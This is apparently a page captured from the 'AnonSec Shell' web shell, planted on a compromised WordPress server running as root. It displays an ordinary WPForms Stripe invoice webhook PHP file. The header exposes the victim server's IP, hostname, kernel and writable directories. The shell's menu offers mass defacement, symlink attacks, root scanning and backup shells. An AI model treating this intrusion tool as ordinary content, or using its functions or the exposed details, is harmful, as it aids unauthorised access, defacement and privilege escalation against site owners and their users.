AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/cwd/plugins/wpforms-lite/src/Integrations/Stripe/Api/Webhooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/cwd/plugins/wpforms-lite/src/Integrations/Stripe/Api/Webhooks//InvoiceCreated.php
<?php

namespace WPForms\Integrations\Stripe\Api\Webhooks;

use RuntimeException;
use Exception;
use WPForms\Vendor\Stripe\Invoice;
use WPForms\Integrations\Stripe\Helpers;
use WPForms\Db\Payments\Queries;

/**
 * Webhook invoice.created class.
 *
 * @since 1.8.4
 */
class InvoiceCreated extends Base {

	/**
	 * Handle invoice.created webhook.
	 *
	 * @since 1.8.4
	 *
	 * @throws RuntimeException       If original subscription not found or not updated.
	 *
	 * @return bool
	 */
	public function handle() {

		if ( ! isset( $this->data->billing_reason ) || $this->data->billing_reason !== 'subscription_cycle' ) {
			return false; // Webhook handler for Invoice.Create supports only billing_reason = subscription_cycle.
		}

		$original_subscription = ( new Queries() )->get_subscription( $this->data->subscription );

		if ( is_null( $original_subscription ) ) {
			return false; // Original subscription not found.
		}

		$renewal = ( new Queries() )->get_renewal_by_invoice_id( $this->data->id );

		if ( ! is_null( $renewal ) ) {
			return false; // Renewal already exists.
		}

		$renewal_id = $this->insert_renewal( $original_subscription );

		if ( ! $renewal_id ) {
			throw new RuntimeException( 'Subscription renewal not saved in database' );
		}

		$this->insert_renewal_meta( $renewal_id, $original_subscription );

		wpforms()->get( 'payment_meta' )->add_log(
			$renewal_id,
			sprintf(
				'Stripe renewal was created (Invoice ID: %1$s).',
				$this->data->id
			)
		);

		$this->finalize_invoice();

		return true;
	}

	/**
	 * Insert renewal.
	 *
	 * @since 1.8.4
	 *
	 * @param object $original_subscription Original subscription.
	 *
	 * @return int|false
	 */
	private function insert_renewal( $original_subscription ) { // phpcs:ignore Generic.Metrics.CyclomaticComplexity.TooHigh

		$currency = strtoupper( $this->data->currency );
		$amount   = $this->data->amount_due / Helpers::get_decimals_amount( $currency );

		return wpforms()->get( 'payment' )->add(
			[
				'mode'             => $original_subscription->mode,
				'form_id'          => isset( $original_subscription->form_id ) ? $original_subscription->form_id : 0,
				'entry_id'         => isset( $original_subscription->entry_id ) ? $original_subscription->entry_id : 0,
				'status'           => 'pending',
				'type'             => 'renewal',
				'gateway'          => 'stripe',
				'title'            => $original_subscription->title,
				'subtotal_amount'  => $amount,
				'total_amount'     => $amount,
				'currency'         => $currency,
				'transaction_id'   => '',
				'subscription_id'  => $original_subscription->subscription_id,
				'customer_id'      => $original_subscription->customer_id,
				'date_created_gmt' => gmdate( 'Y-m-d H:i:s', $this->data->lines->data[0]->period->start ),
				'date_updated_gmt' => gmdate( 'Y-m-d H:i:s' ),
			]
		);
	}

	/**
	 * Insert renewal meta.
	 *
	 * @since 1.8.4
	 *
	 * @param int    $renewal_id            Renewal ID.
	 * @param object $original_subscription Original subscription.
	 */
	private function insert_renewal_meta( $renewal_id, $original_subscription ) {

		$meta = $this->copy_meta_from_db( $original_subscription->id );

		$meta['invoice_id']     = $this->data->id;
		$meta['customer_email'] = isset( $this->data->customer_email ) ? $this->data->customer_email : '';

		wpforms()->get( 'payment_meta' )->bulk_add( $renewal_id, $meta );
	}

	/**
	 * Copy meta from original subscription.
	 *
	 * @since 1.8.4
	 *
	 * @param int $original_subscription_id Original subscription ID.
	 *
	 * @return array
	 */
	private function copy_meta_from_db( $original_subscription_id ) {

		$all_meta     = wpforms()->get( 'payment_meta' )->get_all( $original_subscription_id );
		$db_meta_keys = [
			'fields',
			'subscription_period',
			'coupon_value',
			'coupon_info',
			'coupon_id',
		];
		$meta         = [];

		foreach ( $db_meta_keys as $key ) {
			if ( isset( $all_meta[ $key ]->value ) ) {
				$meta[ $key ] = $all_meta[ $key ]->value;
			}
		}

		return $meta;
	}

	/**
	 * Finalize invoice.
	 *
	 * @since 1.8.4
	 *
	 * @throws RuntimeException If invoice not finalized.
	 */
	private function finalize_invoice() {

		try {
			$invoice = new Invoice();
			$invoice = $invoice->retrieve( $this->data->id, Helpers::get_auth_opts() );

			if ( empty( $invoice->finalized_at ) ) {
				$invoice->finalizeInvoice();
			}
		} catch ( Exception $e ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			throw new RuntimeException( $e->getMessage() );
		}
	}
}

Anon7 - 2022
AnonSec Team